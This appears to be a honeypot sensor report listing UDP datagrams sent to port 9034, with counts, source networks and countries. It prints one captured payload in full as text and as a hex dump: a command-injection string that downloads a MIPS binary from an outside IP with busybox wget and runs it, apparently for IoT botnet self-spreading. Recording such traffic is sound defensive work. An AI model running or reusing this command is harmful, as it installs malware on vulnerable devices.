HoneyLabs

UDP traffic

Datagrams matching port:9034 sent to HoneyLabs sensors over UDP in the last 7 days. DNS questions and QUIC client fingerprints are decoded on the sensor. Other datagrams are kept as their first bytes and labelled by protocol where it can be recognised.

A UDP source address can be forged, so each address listed here either sent the traffic or was impersonated by whoever did. UDP traffic is kept out of verdicts, feeds, watchlists and alerts.

24

Datagrams

8

Source addresses

7

Networks

5

Countries

1

Destination ports

Traffic by type

Unrecognised

24 datagrams from 8 sources

Datagrams no decoder recognised. Their first bytes are kept.

Latest Unrecognised datagram, to 9034/udp

orf; cd /tmp; rm -rf mipsel; /bin/busybox wget http://58.211.144.243:800/mipsel; chmod +x mipsel; ./mipsel realtek.selfrep; #

payload bytes
00000000  6f 72 66 3b 20 63 64 20  2f 74 6d 70 3b 20 72 6d  |orf; cd /tmp; rm|
00000010  20 2d 72 66 20 6d 69 70  73 65 6c 3b 20 2f 62 69  | -rf mipsel; /bi|
00000020  6e 2f 62 75 73 79 62 6f  78 20 77 67 65 74 20 68  |n/busybox wget h|
00000030  74 74 70 3a 2f 2f 35 38  2e 32 31 31 2e 31 34 34  |ttp://58.211.144|
00000040  2e 32 34 33 3a 38 30 30  2f 6d 69 70 73 65 6c 3b  |.243:800/mipsel;|
00000050  20 63 68 6d 6f 64 20 2b  78 20 6d 69 70 73 65 6c  | chmod +x mipsel|
00000060  3b 20 2e 2f 6d 69 70 73  65 6c 20 72 65 61 6c 74  |; ./mipsel realt|
00000070  65 6b 2e 73 65 6c 66 72  65 70 3b 20 23 0a        |ek.selfrep; #.|

Destination ports

Networks

Countries

Source addresses (unverified)

AddressNetworkCcSendsDatagramsLast seen (UTC)
123.178.147.22AS4134 ChinanetCNUnrecognised72026-10-10 00:12
94.154.43.117AS219502 Storm Industries LLCNLUnrecognised52026-10-10 00:23
118.196.28.46AS4811 China Telecom (Group)CNUnrecognised42026-10-08 09:30
163.172.53.219AS12876 Scaleway SASFRUnrecognised32026-10-11 02:58
170.52.84.66AS395965 CarrytelCAUnrecognised22026-10-06 16:45
94.183.174.99AS51396 Pfcloud UG (haftungsbeschrankt)AEUnrecognised12026-10-07 19:28
38.147.248.154AS398721 OXIOCAUnrecognised12026-10-05 16:54
94.154.43.242AS219502 Storm Industries LLCNLUnrecognised12026-10-05 18:38

Latest datagrams